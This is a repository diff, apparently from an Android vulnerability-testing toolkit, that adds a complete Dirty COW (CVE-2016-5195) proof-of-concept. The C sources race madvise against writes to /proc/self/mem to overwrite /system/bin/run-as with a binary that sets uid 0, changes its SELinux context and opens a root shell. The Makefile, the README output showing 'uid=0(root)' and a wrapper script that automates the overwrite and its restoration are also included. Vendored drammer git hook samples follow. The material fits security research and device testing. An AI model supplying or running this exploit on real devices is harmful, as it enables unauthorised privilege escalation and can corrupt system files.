exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD
  1 +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git
... ...
exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.idx 0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.pack 0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/packed-refs 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/packed-refs
  1 +# pack-refs with: peeled fully-peeled
  2 +fe0e2d64979f690600ea3f55cfc15a1ef9370845 refs/remotes/origin/master
  3 +50a356af6fb5d0aed3ea24fb34ed2a0f812fe2c7 refs/remotes/origin/oldcow
... ...
exploits/CVE-2016-5195/.git-disabled/refs/heads/master 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/refs/heads/master
  1 +fe0e2d64979f690600ea3f55cfc15a1ef9370845
... ...
exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD
  1 +ref: refs/remotes/origin/master
... ...
exploits/CVE-2016-5195/.gitignore 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.gitignore
  1 +# files for diffutils
  2 +*.orig
  3 +*.rej
  4 +
  5 +# built application files
  6 +*.apk
  7 +*.ap_
  8 +
  9 +# files for the dex VM
  10 +*.dex
  11 +
  12 +# Java class files
  13 +*.class
  14 +
  15 +# generated files
  16 +bin/
  17 +gen/
  18 +libs/
  19 +obj/
  20 +
  21 +# Local configuration file (sdk path, etc)
  22 +local.properties
  23 +build.prop
  24 +build.prop.bak
  25 +
  26 +# Eclipse project files
  27 +.classpath
  28 +.project
... ...
exploits/CVE-2016-5195/Android.mk 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/Android.mk
  1 +LOCAL_PATH := $(call my-dir)
  2 +
  3 +include $(CLEAR_VARS)
  4 +
  5 +LOCAL_SRC_FILES := \
  6 + dirtycow.c \
  7 + dcow.c
  8 +
  9 +LOCAL_MODULE := dirtycow
  10 +LOCAL_LDFLAGS += -llog
  11 +LOCAL_CFLAGS += -DDEBUG
  12 +
  13 +include $(BUILD_EXECUTABLE)
  14 +
  15 +include $(CLEAR_VARS)
  16 +LOCAL_MODULE := run-as
  17 +LOCAL_SRC_FILES := \
  18 + dirtycow.c \
  19 + run-as.c
  20 +LOCAL_CFLAGS += -DDEBUG
  21 +LOCAL_LDFLAGS += -llog
  22 +
  23 +include $(BUILD_EXECUTABLE)
  24 +
... ...
exploits/CVE-2016-5195/Makefile 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/Makefile
  1 +
  2 +ARCH := $(shell adb shell getprop ro.product.cpu.abi)
  3 +SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk)
  4 +
  5 +all: build
  6 +
  7 +build:
  8 + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) APP_PLATFORM=android-$(SDK_VERSION)
  9 +
  10 +push: build
  11 + adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow
  12 +
  13 +test: push
  14 + adb push test.sh /data/local/tmp/test.sh
  15 + adb shell 'chmod 777 /data/local/tmp/dcow'
  16 + adb shell 'chmod 777 /data/local/tmp/test.sh'
  17 + adb shell '/data/local/tmp/test.sh'
  18 + adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2'
  19 + adb shell 'cat /data/local/tmp/test2'
  20 + adb shell 'cat /data/local/tmp/test2' | xxd
  21 +
  22 +root: push
  23 + adb push libs/$(ARCH)/run-as /data/local/tmp/run-as
  24 + adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
  25 + adb shell /system/bin/run-as
  26 +
  27 +clean:
  28 + rm -rf libs
  29 + rm -rf obj
  30 +
... ...
exploits/CVE-2016-5195/README.md 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/README.md
  1 +# CVE-2016-5195
  2 +CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android
  3 +
  4 +This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB.
  5 +It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device.
  6 +
  7 +```
  8 +
  9 +$ make root
  10 +ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
  11 +make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
  12 +[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
  13 +[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
  14 +[x86_64] Install : dirtycow => libs/x86_64/dirtycow
  15 +[x86_64] Install : run-as => libs/x86_64/run-as
  16 +[mips64] Install : dirtycow => libs/mips64/dirtycow
  17 +[mips64] Install : run-as => libs/mips64/run-as
  18 +[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
  19 +[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
  20 +[armeabi] Install : dirtycow => libs/armeabi/dirtycow
  21 +[armeabi] Install : run-as => libs/armeabi/run-as
  22 +[x86] Install : dirtycow => libs/x86/dirtycow
  23 +[x86] Install : run-as => libs/x86/run-as
  24 +[mips] Install : dirtycow => libs/mips/dirtycow
  25 +[mips] Install : run-as => libs/mips/run-as
  26 +make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
  27 +adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
  28 +[100%] /data/local/tmp/dcow
  29 +adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
  30 +[100%] /data/local/tmp/run-as
  31 +adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
  32 +dcow /data/local/tmp/run-as /system/bin/run-as
  33 +warning: new file size (17944) and file old size (5544) differ
  34 +
  35 +[*] size 5544
  36 +[*] mmap 0xb536b000
  37 +[*] currently 0xb536b000=464c457f
  38 +[*] madvise = 0xb536b000 5544
  39 +[*] madvise = 0 0
  40 +[*] /proc/self/mem 5544 1
  41 +[*] exploited 0xb536b000=464c457f
  42 +adb shell /system/bin/run-as
  43 +uid /system/bin/run-as 2000
  44 +uid 0
  45 +0 u:r:runas:s0
  46 +context 0 u:r:shell:s0
  47 +/system/bin/sh: can't find tty fd: No such device or address
  48 +/system/bin/sh: warning: won't have full job control
  49 +shamu:/ # id
  50 +uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
  51 +shamu:/ #
  52 +
  53 +```
... ...
exploits/CVE-2016-5195/dcow.c 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/dcow.c
  1 +#include <err.h>
  2 +#include <dlfcn.h>
  3 +#include <stdio.h>
  4 +#include <fcntl.h>
  5 +#include <stdlib.h>
  6 +#include <string.h>
  7 +#include <unistd.h>
  8 +#include <limits.h>
  9 +#include <pthread.h>
  10 +#include <sys/mman.h>
  11 +#include <sys/stat.h>
  12 +#include <sys/wait.h>
  13 +#include <sys/types.h>
  14 +
  15 +#ifdef DEBUG
  16 +#include <android/log.h>
  17 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  18 +#elif PRINT
  19 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  20 +#else
  21 +#define LOGV(...)
  22 +#endif
  23 +
  24 +extern int dcow(int argc, const char *argv[]);
  25 +
  26 +int main(int argc, const char *argv[])
  27 +{
  28 + return dcow(argc, argv);
  29 +}
0 30 \ No newline at end of file
... ...
exploits/CVE-2016-5195/dirtycow.c 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/dirtycow.c
  1 +#include <err.h>
  2 +#include <dlfcn.h>
  3 +#include <stdio.h>
  4 +#include <fcntl.h>
  5 +#include <stdlib.h>
  6 +#include <string.h>
  7 +#include <unistd.h>
  8 +#include <limits.h>
  9 +#include <pthread.h>
  10 +#include <sys/mman.h>
  11 +#include <sys/stat.h>
  12 +#include <sys/wait.h>
  13 +#include <sys/types.h>
  14 +
  15 +#ifdef DEBUG
  16 +#include <android/log.h>
  17 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  18 +#elif PRINT
  19 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  20 +#else
  21 +#define LOGV(...)
  22 +#endif
  23 +
  24 +#define LOOP 0x100000
  25 +#define TIMEOUT 10
  26 +
  27 +struct mem_arg {
  28 + void *offset;
  29 + void *patch;
  30 + off_t patch_size;
  31 + const char *fname;
  32 + volatile int stop;
  33 + int success;
  34 +};
  35 +
  36 +static void *checkThread(void *arg) {
  37 + struct mem_arg *mem_arg;
  38 + mem_arg = (struct mem_arg *)arg;
  39 + struct stat st;
  40 + int i;
  41 + char * newdata = malloc(mem_arg->patch_size);
  42 + for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) {
  43 + int f=open(mem_arg->fname, O_RDONLY);
  44 + if (f == -1) {
  45 + LOGV("could not open %s", mem_arg->fname);
  46 + break;
  47 + }
  48 + if (fstat(f,&st) == -1) {
  49 + LOGV("could not stat %s", mem_arg->fname);
  50 + close(f);
  51 + break;
  52 + }
  53 + read(f, newdata, mem_arg->patch_size);
  54 + close(f);
  55 +
  56 + int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size);
  57 + if (memcmpret == 0) {
  58 + mem_arg->stop = 1;
  59 + mem_arg->success = 1;
  60 + return 0;
  61 + }
  62 + usleep(100 * 1000);
  63 + }
  64 + mem_arg->stop = 1;
  65 + return 0;
  66 +}
  67 +static void *madviseThread(void *arg)
  68 +{
  69 + struct mem_arg *mem_arg;
  70 + size_t size;
  71 + void *addr;
  72 + int i, c = 0;
  73 +
  74 + mem_arg = (struct mem_arg *)arg;
  75 + size = mem_arg->patch_size;
  76 + addr = (void *)(mem_arg->offset);
  77 +
  78 + LOGV("[*] madvise = %p %zd", addr, size);
  79 +
  80 + for(i = 0; i < LOOP && !mem_arg->stop; i++) {
  81 + c += madvise(addr, size, MADV_DONTNEED);
  82 + }
  83 +
  84 + LOGV("[*] madvise = %d %d", c, i);
  85 + mem_arg->stop = 1;
  86 + return 0;
  87 +}
  88 +
  89 +static void *procselfmemThread(void *arg)
  90 +{
  91 + struct mem_arg *mem_arg;
  92 + int fd, i, c = 0;
  93 + mem_arg = (struct mem_arg *)arg;
  94 + unsigned char *p = mem_arg->patch;
  95 +
  96 + fd = open("/proc/self/mem", O_RDWR);
  97 + if (fd == -1) {
  98 + LOGV("open(\"/proc/self/mem\"");
  99 + }
  100 +
  101 + for (i = 0; i < LOOP && !mem_arg->stop; i++) {
  102 + lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
  103 + c += write(fd, p, mem_arg->patch_size);
  104 + }
  105 +
  106 + LOGV("[*] /proc/self/mem %d %i", c, i);
  107 +
  108 + close(fd);
  109 +
  110 + mem_arg->stop = 1;
  111 + return NULL;
  112 +}
  113 +
  114 +static void exploit(struct mem_arg *mem_arg)
  115 +{
  116 + pthread_t pth1, pth2, pth3;
  117 +
  118 + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
  119 +
  120 + mem_arg->stop = 0;
  121 + mem_arg->success = 0;
  122 + pthread_create(&pth3, NULL, checkThread, mem_arg);
  123 + pthread_create(&pth1, NULL, madviseThread, mem_arg);
  124 + pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
  125 +
  126 + pthread_join(pth3, NULL);
  127 + pthread_join(pth1, NULL);
  128 + pthread_join(pth2, NULL);
  129 +
  130 + LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
  131 +}
  132 +
  133 +int dcow(int argc, const char * argv[])
  134 +{
  135 + if (argc < 2) {
  136 + LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]);
  137 + return 0;
  138 + }
  139 +
  140 + const char * fromfile = argv[1];
  141 + const char * tofile = argv[2];
  142 + LOGV("dcow %s %s", fromfile, tofile);
  143 +
  144 + struct mem_arg mem_arg;
  145 + struct stat st;
  146 + struct stat st2;
  147 +
  148 + int f = open(tofile, O_RDONLY);
  149 + if (f == -1) {
  150 + LOGV("could not open %s", tofile);
  151 + return -1;
  152 + }
  153 + if (fstat(f,&st) == -1) {
  154 + LOGV("could not stat %s", tofile);
  155 + return 1;
  156 + }
  157 +
  158 + int f2=open(fromfile, O_RDONLY);
  159 + if (f2 == -1) {
  160 + LOGV("could not open %s", fromfile);
  161 + return 2;
  162 + }
  163 + if (fstat(f2,&st2) == -1) {
  164 + LOGV("could not stat %s", fromfile);
  165 + return 3;
  166 + }
  167 +
  168 + size_t size = st2.st_size;
  169 + if (st2.st_size != st.st_size) {
  170 + LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
  171 + if (st2.st_size > st.st_size) {
  172 + LOGV("corruption?\n");
  173 + }
  174 + }
  175 +
  176 + LOGV("[*] size %zd", size);
  177 + mem_arg.patch = malloc(size);
  178 + if (mem_arg.patch == NULL) {
  179 + return 4;
  180 + }
  181 +
  182 + mem_arg.patch_size = size;
  183 + mem_arg.fname = argv[2];
  184 +
  185 + read(f2, mem_arg.patch, size);
  186 + close(f2);
  187 +
  188 + /*read(f, mem_arg.unpatch, st.st_size);*/
  189 +
  190 + void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
  191 + if (map == MAP_FAILED) {
  192 + LOGV("mmap");
  193 + return 5;
  194 + }
  195 +
  196 + LOGV("[*] mmap %p", map);
  197 +
  198 + mem_arg.offset = map;
  199 +
  200 + exploit(&mem_arg);
  201 +
  202 + close(f);
  203 + // to put back
  204 + /*exploit(&mem_arg, 0);*/
  205 + if (mem_arg.success == 0) {
  206 + return -1;
  207 + }
  208 +
  209 + return 0;
  210 +}
0 211 \ No newline at end of file
... ...
exploits/CVE-2016-5195/run-as.c 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/run-as.c
  1 +#include <unistd.h>
  2 +#include <stdio.h>
  3 +#include <stdlib.h>
  4 +#include <string.h>
  5 +#include <errno.h>
  6 +
  7 +#include <dlfcn.h>
  8 +#include <fcntl.h>
  9 +
  10 +#ifdef DEBUG
  11 +#include <android/log.h>
  12 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  13 +#elif PRINT
  14 +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
  15 +#else
  16 +#define LOGV(...)
  17 +#endif
  18 +
  19 +//reduce binary size
  20 +char __aeabi_unwind_cpp_pr0[0];
  21 +
  22 +typedef int getcon_t(char ** con);
  23 +typedef int setcon_t(const char* con);
  24 +
  25 +extern int dcow(int argc, const char *argv[]);
  26 +
  27 +int main(int argc, const char **argv)
  28 +{
  29 + //LOGV("uid %s %d", argv[0], getuid());
  30 +
  31 + if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
  32 + LOGV("setresgid/setresuid failed");
  33 + }
  34 +
  35 + //LOGV("uid %d", getuid());
  36 +
  37 + dlerror();
  38 +#ifdef __aarch64__
  39 + void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
  40 +#else
  41 + void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
  42 +#endif
  43 + if (selinux) {
  44 + void * getcon = dlsym(selinux, "getcon");
  45 + const char *error = dlerror();
  46 + if (error) {
  47 + LOGV("dlsym error %s", error);
  48 + } else {
  49 + getcon_t * getcon_p = (getcon_t*)getcon;
  50 + char * secontext;
  51 + int ret = (*getcon_p)(&secontext);
  52 + //LOGV("%d %s", ret, secontext);
  53 + void * setcon = dlsym(selinux, "setcon");
  54 + const char *error = dlerror();
  55 + if (error) {
  56 + LOGV("dlsym setcon error %s", error);
  57 + } else {
  58 + setcon_t * setcon_p = (setcon_t*)setcon;
  59 + ret = (*setcon_p)("u:r:shell:s0");
  60 + ret = (*getcon_p)(&secontext);
  61 + //LOGV("context %d %s", ret, secontext);
  62 + }
  63 + }
  64 + dlclose(selinux);
  65 + } else {
  66 + //LOGV("no selinux?");
  67 + }
  68 +
  69 + system("/system/bin/sh -i");
  70 +
  71 +}
... ...
exploits/CVE-2016-5195/test.sh 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/test.sh
  1 +
  2 +if [ -f /data/local/tmp/test ]; then
  3 + chmod 777 /data/local/tmp/test
  4 + rm /data/local/tmp/test
  5 +fi
  6 +
  7 +if [ -f /data/local/tmp/test2 ]; then
  8 + chmod 777 /data/local/tmp/test2
  9 + rm /data/local/tmp/test2
  10 +fi
  11 +
  12 +echo vulnerable!!!!!!! > /data/local/tmp/test
  13 +echo yournotvulnerable > /data/local/tmp/test2
  14 +
  15 +chmod 444 /data/local/tmp/test2
  16 +ls -l /data/local/tmp/test*
  17 +
... ...
android_run_root_shell @ 23f7d701b26
  1 +++ a/exploits/android_run_root_shell
  1 +Subproject commit 23f7d701b26a29ef636c0229bb7e184781912d2e
... ...
exploits/cve-2016-5195.sh 0 → 100644
  1 +++ a/exploits/cve-2016-5195.sh
  1 +NDK_PATH="/home/imanol/devel/android-sdk/ndk-bundle"
  2 +
  3 +function pre_cve_2016_5195()
  4 +{
  5 + local ARCH=$(adb -s $1 shell getprop ro.product.cpu.abi | tr -d '\r')
  6 + local SDK_VERSION=$(adb -s $1 shell getprop ro.build.version.sdk | tr -d '\r')
  7 + pushd exploits/CVE-2016-5195 > /dev/null
  8 + PATH=$PATH:$NDK_PATH
  9 + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$ARCH APP_PLATFORM=android-$SDK_VERSION &> /dev/null
  10 + adb -s $1 push libs/$ARCH/dirtycow /data/local/tmp/dcow &> /dev/null
  11 + adb -s $1 push libs/$ARCH/run-as /data/local/tmp/run-as &> /dev/null
  12 + popd > /dev/null
  13 +}
  14 +
  15 +function cve_2016_5195()
  16 +{
  17 + local rootcmd="adb -s $1 shell run-as | tail -n +3"
  18 + adb -s $1 shell cp -a /system/bin/run-as /data/local/tmp/run-as_orig &> /dev/null
  19 + adb -s $1 pull /system/bin/run-as dump/$1/run-as &> /dev/null
  20 + adb -s $1 shell "/data/local/tmp/stat -c \"%u:%g %a\" /system/bin/run-as" &> dump/$1/run-as_stat
  21 + md5sum dump/$1/run-as &> dump/$1/run-as.md5
  22 + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as &> /dev/null
  23 + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r')
  24 + if [[ "$USERID" == "0" ]]; then
  25 + #exploit successful
  26 + echo "$rootcmd"
  27 + else
  28 + #exploit failed
  29 + return 1
  30 + fi
  31 + return 0
  32 +}
  33 +
  34 +function post_cve_2016_5195()
  35 +{
  36 + local rootcmd="adb -s $1 shell run-as | tail -n +6"
  37 + local overwrite=0
  38 + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as_orig /system/bin/run-as &> /dev/null
  39 +
  40 + # Check 1: If root is still possible
  41 + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r')
  42 + if [[ "$USERID" == "0" ]]; then
  43 + echo "ERROR: UID still 0!!"
  44 + overwrite=1
  45 + fi
  46 + # Check 2: Hashes
  47 + local ORIGHASH="$(echo $(adb -s $1 shell md5sum /data/local/tmp/run-as_orig) | cut -d' ' -f 1)"
  48 + local CURRENTHASH="$(echo $(adb -s $1 shell md5sum /system/bin/run-as) | cut -d' ' -f 1)"
  49 + if [[ "$ORIGHASH" != "$CURRENTHASH" ]]; then
  50 + echo "ERROR: MD5 checksum mismatch!!"
  51 + overwrite=1
  52 + fi
  53 +
  54 + if [[ $overwrite == 1 ]]; then
  55 + # A message you never want to see..."
  56 + echo "CRITICAL: /system/bin/run-as has been POSSIBLY overwritten. In that case, manual recovery WILL be necessary. Do NOT reboot the phone under any circumstances if you don't know how to proceed and exercise caution. /data/local/tmp/dcow and /data/local/tmp/run-as_orig will be preserved, along the copy in the dump folder. May God help you."
  57 + fi
  58 +
  59 + adb -s $1 shell rm /data/local/tmp/run-as &> /dev/null
  60 + if [[ $overwrite == 0 ]]; then
  61 + adb -s $1 shell rm /data/local/tmp/dcow &> /dev/null
  62 + adb -s $1 shell rm /data/local/tmp/run-as_orig &> /dev/null
  63 + fi
  64 +}
... ...
exploits/drammer/.git-disabled/HEAD 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/HEAD
  1 +ref: refs/heads/master
... ...
exploits/drammer/.git-disabled/config 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/config
  1 +[core]
  2 + repositoryformatversion = 0
  3 + filemode = true
  4 + bare = false
  5 + logallrefupdates = true
  6 +[remote "origin"]
  7 + url = https://github.com/vusec/drammer
  8 + fetch = +refs/heads/*:refs/remotes/origin/*
  9 +[branch "master"]
  10 + remote = origin
  11 + merge = refs/heads/master
... ...
exploits/drammer/.git-disabled/description 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/description
  1 +Unnamed repository; edit this file 'description' to name the repository.
... ...
exploits/drammer/.git-disabled/hooks/applypatch-msg.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/applypatch-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message taken by
  4 +# applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit. The hook is
  8 +# allowed to edit the commit message file.
  9 +#
  10 +# To enable this hook, rename this file to "applypatch-msg".
  11 +
  12 +. git-sh-setup
  13 +commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
  14 +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
  15 +:
... ...
exploits/drammer/.git-disabled/hooks/commit-msg.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message.
  4 +# Called by "git commit" with one argument, the name of the file
  5 +# that has the commit message. The hook should exit with non-zero
  6 +# status after issuing an appropriate message if it wants to stop the
  7 +# commit. The hook is allowed to edit the commit message file.
  8 +#
  9 +# To enable this hook, rename this file to "commit-msg".
  10 +
  11 +# Uncomment the below to add a Signed-off-by line to the message.
  12 +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg
  13 +# hook is more suited to it.
  14 +#
  15 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  16 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
  17 +
  18 +# This example catches duplicate Signed-off-by lines.
  19 +
  20 +test "" = "$(grep '^Signed-off-by: ' "$1" |
  21 + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || {
  22 + echo >&2 Duplicate Signed-off-by lines.
  23 + exit 1
  24 +}
... ...
exploits/drammer/.git-disabled/hooks/post-update.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/post-update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare a packed repository for use over
  4 +# dumb transports.
  5 +#
  6 +# To enable this hook, rename this file to "post-update".
  7 +
  8 +exec git update-server-info
... ...
exploits/drammer/.git-disabled/hooks/pre-applypatch.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/pre-applypatch.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed
  4 +# by applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit.
  8 +#
  9 +# To enable this hook, rename this file to "pre-applypatch".
  10 +
  11 +. git-sh-setup
  12 +precommit="$(git rev-parse --git-path hooks/pre-commit)"
  13 +test -x "$precommit" && exec "$precommit" ${1+"$@"}
  14 +:
... ...
exploits/drammer/.git-disabled/hooks/pre-commit.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/pre-commit.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed.
  4 +# Called by "git commit" with no arguments. The hook should
  5 +# exit with non-zero status after issuing an appropriate message if
  6 +# it wants to stop the commit.
  7 +#
  8 +# To enable this hook, rename this file to "pre-commit".
  9 +
  10 +if git rev-parse --verify HEAD >/dev/null 2>&1
  11 +then
  12 + against=HEAD
  13 +else
  14 + # Initial commit: diff against an empty tree object
  15 + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
  16 +fi
  17 +
  18 +# If you want to allow non-ASCII filenames set this variable to true.
  19 +allownonascii=$(git config --bool hooks.allownonascii)
  20 +
  21 +# Redirect output to stderr.
  22 +exec 1>&2
  23 +
  24 +# Cross platform projects tend to avoid non-ASCII filenames; prevent
  25 +# them from being added to the repository. We exploit the fact that the
  26 +# printable range starts at the space character and ends with tilde.
  27 +if [ "$allownonascii" != "true" ] &&
  28 + # Note that the use of brackets around a tr range is ok here, (it's
  29 + # even required, for portability to Solaris 10's /usr/bin/tr), since
  30 + # the square bracket bytes happen to fall in the designated range.
  31 + test $(git diff --cached --name-only --diff-filter=A -z $against |
  32 + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
  33 +then
  34 + cat <<\EOF
  35 +Error: Attempt to add a non-ASCII file name.
  36 +
  37 +This can cause problems if you want to work with people on other platforms.
  38 +
  39 +To be portable it is advisable to rename the file.
  40 +
  41 +If you know what you are doing you can disable this check using:
  42 +
  43 + git config hooks.allownonascii true
  44 +EOF
  45 + exit 1
  46 +fi
  47 +
  48 +# If there are whitespace errors, print the offending file names and fail.
  49 +exec git diff-index --check --cached $against --
... ...
exploits/drammer/.git-disabled/hooks/pre-push.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/pre-push.sample
  1 +#!/bin/sh
  2 +
  3 +# An example hook script to verify what is about to be pushed. Called by "git
  4 +# push" after it has checked the remote status, but before anything has been
  5 +# pushed. If this script exits with a non-zero status nothing will be pushed.
  6 +#
  7 +# This hook is called with the following parameters:
  8 +#
  9 +# $1 -- Name of the remote to which the push is being done
  10 +# $2 -- URL to which the push is being done
  11 +#
  12 +# If pushing without using a named remote those arguments will be equal.
  13 +#
  14 +# Information about the commits which are being pushed is supplied as lines to
  15 +# the standard input in the form:
  16 +#
  17 +# <local ref> <local sha1> <remote ref> <remote sha1>
  18 +#
  19 +# This sample shows how to prevent push of commits where the log message starts
  20 +# with "WIP" (work in progress).
  21 +
  22 +remote="$1"
  23 +url="$2"
  24 +
  25 +z40=0000000000000000000000000000000000000000
  26 +
  27 +while read local_ref local_sha remote_ref remote_sha
  28 +do
  29 + if [ "$local_sha" = $z40 ]
  30 + then
  31 + # Handle delete
  32 + :
  33 + else
  34 + if [ "$remote_sha" = $z40 ]
  35 + then
  36 + # New branch, examine all commits
  37 + range="$local_sha"
  38 + else
  39 + # Update to existing branch, examine new commits
  40 + range="$remote_sha..$local_sha"
  41 + fi
  42 +
  43 + # Check for WIP commit
  44 + commit=`git rev-list -n 1 --grep '^WIP' "$range"`
  45 + if [ -n "$commit" ]
  46 + then
  47 + echo >&2 "Found WIP commit in $local_ref, not pushing"
  48 + exit 1
  49 + fi
  50 + fi
  51 +done
  52 +
  53 +exit 0
... ...
exploits/drammer/.git-disabled/hooks/pre-rebase.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/pre-rebase.sample
  1 +#!/bin/sh
  2 +#
  3 +# Copyright (c) 2006, 2008 Junio C Hamano
  4 +#
  5 +# The "pre-rebase" hook is run just before "git rebase" starts doing
  6 +# its job, and can prevent the command from running by exiting with
  7 +# non-zero status.
  8 +#
  9 +# The hook is called with the following parameters:
  10 +#
  11 +# $1 -- the upstream the series was forked from.
  12 +# $2 -- the branch being rebased (or empty when rebasing the current branch).
  13 +#
  14 +# This sample shows how to prevent topic branches that are already
  15 +# merged to 'next' branch from getting rebased, because allowing it
  16 +# would result in rebasing already published history.
  17 +
  18 +publish=next
  19 +basebranch="$1"
  20 +if test "$#" = 2
  21 +then
  22 + topic="refs/heads/$2"
  23 +else
  24 + topic=`git symbolic-ref HEAD` ||
  25 + exit 0 ;# we do not interrupt rebasing detached HEAD
  26 +fi
  27 +
  28 +case "$topic" in
  29 +refs/heads/??/*)
  30 + ;;
  31 +*)
  32 + exit 0 ;# we do not interrupt others.
  33 + ;;
  34 +esac
  35 +
  36 +# Now we are dealing with a topic branch being rebased
  37 +# on top of master. Is it OK to rebase it?
  38 +
  39 +# Does the topic really exist?
  40 +git show-ref -q "$topic" || {
  41 + echo >&2 "No such branch $topic"
